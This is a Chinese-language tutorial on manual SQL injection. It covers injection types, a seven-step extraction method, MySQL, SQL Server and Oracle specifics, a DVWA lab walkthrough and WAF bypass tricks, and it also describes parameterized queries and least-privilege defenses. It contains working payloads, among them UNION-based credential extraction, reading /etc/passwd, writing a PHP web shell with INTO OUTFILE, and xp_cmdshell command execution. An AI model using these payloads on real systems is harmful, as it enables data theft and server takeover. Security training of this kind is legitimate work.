SQL手工注入实战指南:原理、技巧与防御
1. SQL手工注入基础概念与原理剖析手工SQL注入是一种通过精心构造输入参数利用Web应用程序对用户输入过滤不严的漏洞直接操作后端数据库的技术手段。与自动化工具不同手工注入需要攻击者或安全测试人员对SQL语法、数据库结构和应用程序逻辑有深入理解。1.1 SQL注入的本质与危害SQL注入漏洞产生的根本原因是应用程序将用户输入直接拼接到SQL语句中执行。例如一个登录查询SELECT * FROM users WHERE username$user AND password$pass当攻击者输入admin--作为用户名时实际执行的SQL变为SELECT * FROM users WHERE usernameadmin-- AND password--在SQL中表示注释这使得密码验证被绕过。这种简单的例子展示了SQL注入如何破坏应用程序的安全逻辑。更严重的危害包括数据库信息泄露用户凭证、交易记录等敏感数据数据库篡改修改价格、删除记录等服务器文件系统访问通过LOAD_FILE和INTO OUTFILE甚至获取服务器控制权限通过写入Webshell1.2 注入类型分类体系根据不同的分类标准SQL注入可分为多种类型按结果返回形式显错注入错误信息直接显示在页面上盲注布尔盲注通过页面返回的真/假状态判断时间盲注通过响应延迟判断如sleep(5)按参数类型数字型注入参数无需引号包裹字符型注入参数用单/双引号包裹按技术实现联合查询注入UNION-based堆叠查询注入Stacked queries报错注入Error-based带外通道注入OOB2. 手工注入实战七步法2.1 第一步注入点检测与类型判断检测注入存在性数字型参数尝试id1和id1 and 11字符型参数尝试nameadmin和nameadmin and 11判断注入类型的关键差异数字型SELECT * FROM products WHERE id1 AND 11 字符型SELECT * FROM users WHERE nameadmin AND 11实用技巧使用#或--注释后续语句注意观察页面返回差异包括直接错误信息内容缺失HTTP状态码变化响应时间变化2.2 第二步确定字段数量通过ORDER BY子句逐步测试?id1 ORDER BY 1-- ?id1 ORDER BY 2-- ...当数字超过实际列数时数据库会报错。这是后续UNION注入的基础。常见错误处理某些数据库对ORDER BY数字的语法支持不同可能需要尝试GROUP BY作为替代2.3 第三步定位回显字段使用UNION SELECT确定哪些列会显示在页面上?id1 UNION SELECT 1,2,3--然后在数字位置插入测试函数?id1 UNION SELECT database(),version(),user()--高级技巧使用CONCAT()合并多个信息到一个字段对非显示字段尝试基于错误的提取技术2.4 第四步数据库信息收集关键信息获取语句-- 数据库版本 SELECT version -- 当前数据库 SELECT database() -- 用户权限 SELECT user(), super_priv FROM mysql.user -- 文件系统路径 SELECT datadir多数据库差异MySQLversion()SQL ServerVERSIONOracleSELECT banner FROM v$version2.5 第五步表结构枚举通过information_schema获取元数据-- 列出所有数据库 SELECT schema_name FROM information_schema.schemata -- 列出指定数据库的表 SELECT table_name FROM information_schema.tables WHERE table_schemadvwa绕过过滤技巧使用十六进制编码WHERE table_schema0x64767761使用注释分割WHERE/**/table_schemadvwa2.6 第六步字段提取与数据窃取获取表字段结构SELECT column_name FROM information_schema.columns WHERE table_nameusers AND table_schemadvwa提取敏感数据示例-- 获取用户名密码 SELECT user, password FROM dvwa.users -- 批量导出数据技巧 SELECT CONCAT(user,:,password) FROM users INTO OUTFILE /tmp/creds.txt2.7 第七步高级利用技术文件读取SELECT LOAD_FILE(/etc/passwd)需要FILE权限且知道绝对路径。文件写入SELECT ?php system($_GET[cmd]);? INTO OUTFILE /var/www/shell.php需要可写目录和足够权限。命令执行MySQL-- 需要插件支持 SELECT sys_exec(whoami)3. 不同数据库的特殊注入技巧3.1 MySQL特有技术字符串连接技巧SELECT CONCAT(a,b) -- 输出ab SELECT a b -- 输出ab注释变体# 单行注释 -- 单行注释注意末尾空格 /* 多行注释 */绕过过滤/*!50000SELECT*/ 1 -- 版本条件注释3.2 SQL Server特性堆叠查询?id1; EXEC xp_cmdshell whoami--错误消息利用SELECT 1/0 -- 产生显式错误3.3 Oracle特殊语法双重管道连接SELECT a||b FROM dual系统视图访问SELECT * FROM all_tables4. 防御措施与注入检测4.1 开发者防护方案参数化查询最佳实践# Python示例 cursor.execute(SELECT * FROM users WHERE id%s, (user_id,))输入验证白名单验证如只允许数字转义特殊字符最小权限原则应用数据库账户只授予必要权限禁用FILE、EXECUTE等高危权限4.2 手工注入检测工具链基础工具Burp Suite拦截修改请求HackBar浏览器插件快速构造请求OWASP ZAP自动化扫描工具高级技巧使用LIKE进行模糊匹配测试时间盲注时使用BENCHMARK()函数二进制数据使用HEX()编码传输5. 实战案例DVWA手工注入全流程5.1 环境准备设置DVWA安全级别为Low进入SQL Injection模块5.2 完整注入过程1. 检测注入点?id1 and 11 -- 正常 ?id1 and 12 -- 异常 → 确认字符型注入2. 确定列数?id1 order by 2-- -- 正常 ?id1 order by 3-- -- 错误 → 确认2列3. 定位回显?id1 union select 1,2-- → 发现第2列显示在页面4. 获取数据库信息?id1 union select 1,database()-- → 返回dvwa5. 枚举表名?id1 union select 1,table_name from information_schema.tables where table_schemadvwa-- → 发现users表6. 获取字段?id1 union select 1,column_name from information_schema.columns where table_nameusers-- → 发现user和password字段7. 提取凭证?id1 union select user,password from users-- → 获取管理员账号密码6. 高级绕过技术与疑难处理6.1 WAF绕过手法编码混淆/*!SELECT*/ 1 SE%4cECT 1 -- URL编码等价函数替换-- 代替空格 SELECT/**/1 SELECT%091 -- 制表符注释分割SEL/*xxx*/ECT 16.2 常见错误解决UNION列数不符-- 使用NULL填充 UNION SELECT 1,NULL,NULL--引号被过滤-- 使用十六进制 WHERE name0x61646d696e关键词被过滤-- 大小写变异 SeLeCt 1手工SQL注入是一门需要大量实践的技术真正的精通需要理解不同数据库的特性、熟悉各种过滤绕过手法并能在实际场景中灵活运用。建议在合法授权环境下通过DVWA、SQLi Labs等靶场进行系统练习。

相关新闻

Real Easy English:109期外教原声口语听力训练全攻略

Real Easy English:109期外教原声口语听力训练全攻略

这次我们来看一个实用的英语学习资源——Real Easy English 真实简单英语博客,这是一套包含109期话题的完整口语听力训练素材。这套资源最大的特点是提供了原汁原味的外教原声素材,每期都配有中英双语学习文本,特别适合想要提升地道英语口语能…

2026/10/30 15:56:27 阅读更多 →
BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

BEV Occupancy与SMT验证:构建自动驾驶确定性感知与安全验证基石

1. 项目概述:当感知系统“看错”了世界2018年3月的一个夜晚,亚利桑那州坦佩市,一辆Uber ATG的自动驾驶测试车以43英里每小时的速度行驶。在撞击发生前5.6秒,它的感知系统“看到”了前方横穿马路的行人Elaine Herzberg。然而&#…

2026/10/31 20:13:26 阅读更多 →
实验性开发框架部署实践:从环境配置到性能优化

实验性开发框架部署实践:从环境配置到性能优化

这次我们来看一个名为"瞎整"的项目。从名称来看,这很可能是一个带有实验性质的开源工具或框架,专注于提供灵活、非传统的技术解决方案。这类项目通常面向那些希望在标准流程之外进行技术探索的开发者。"瞎整"项目的核心价值在于它可…

2026/10/26 12:02:00 阅读更多 →

最新新闻

Electron桌面应用开发实战:从环境搭建到打包发布全流程

Electron桌面应用开发实战:从环境搭建到打包发布全流程

做前端这些年,我大部分时间都在跟浏览器标签页打交道,直到第一次把桌面应用跑起来,才发现原来自己一直被限制在地址栏和刷新按钮围起来的框框里。Electron这个词,最开始是在某段时间频繁出现在同事的讨论里,一个用HTML…

2026/10/31 0:19:11 阅读更多 →
滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

滑盖智能锁T109深度解析:结构原理、安装调试与故障排查

简介:亚太天能T109滑盖智能锁产品说明书是一份PDF格式的官方技术文档,主要面向智能锁安装人员、终端用户及售后维护者,帮助快速掌握产品安装、配置与常见故障处理。全包仅1个PDF文件,大小4.37MB,内容结构清晰&#xff…

2026/10/31 10:20:19 阅读更多 →
PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

PMSM弱磁控制原理与Simulink建模:高速AGV驱动系统设计指南

上个月我在调试一台高速AGV的驱动系统,整车要求空载跑到8m/s,电机转速已经拉到额定点,驱动器的输出电压也顶到了母线电压极限附近。再往上踩速度指令,转速纹丝不动,三相电流反而开始震荡。那会儿我的第一反应就是&…

2026/10/31 10:20:23 阅读更多 →
C++核心知识点:从内存管理到STL的实战指南

C++核心知识点:从内存管理到STL的实战指南

C 这门语言我前前后后折腾了十几年,用它写过嵌入式驱动、做过游戏服务端,也搭过基础组件库。每次看到新人一头扎进"C 核心知识点"这个搜索词,我其实挺感慨的——这门语言的难点从来不是语法多,而是知识点之间的耦合太深…

2026/10/31 0:59:28 阅读更多 →
T109滑盖智能锁怎么装?安装调试与故障排查全攻略

T109滑盖智能锁怎么装?安装调试与故障排查全攻略

简介:亚太天能T109滑盖智能锁产品说明书以PDF格式发布,适合智能锁用户、安装人员与售后维修人员阅读。内容围绕T109系列指纹密码刷卡锁展开,先介绍前面板、后面板、锁体、机械钥匙、电池盒盖等部件名称与功能,再给出完整安装步骤&…

2026/10/31 10:30:19 阅读更多 →
LLM知识降熵:从信息垄断到理解权下放

LLM知识降熵:从信息垄断到理解权下放

你有没有过这种经历:翻开源码注释、论文摘要或者一份专业报告,每个字都认识,连在一起却像天书。想找人聊聊,身边要么没人懂,要么懂的懒得跟你解释。后来我试着把同一段内容丢给一个大语言模型,几秒钟之后&a…

2026/10/31 9:29:43 阅读更多 →

日新闻

周新闻

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/31 18:03:41 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/31 11:00:40 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/31 0:09:01 阅读更多 →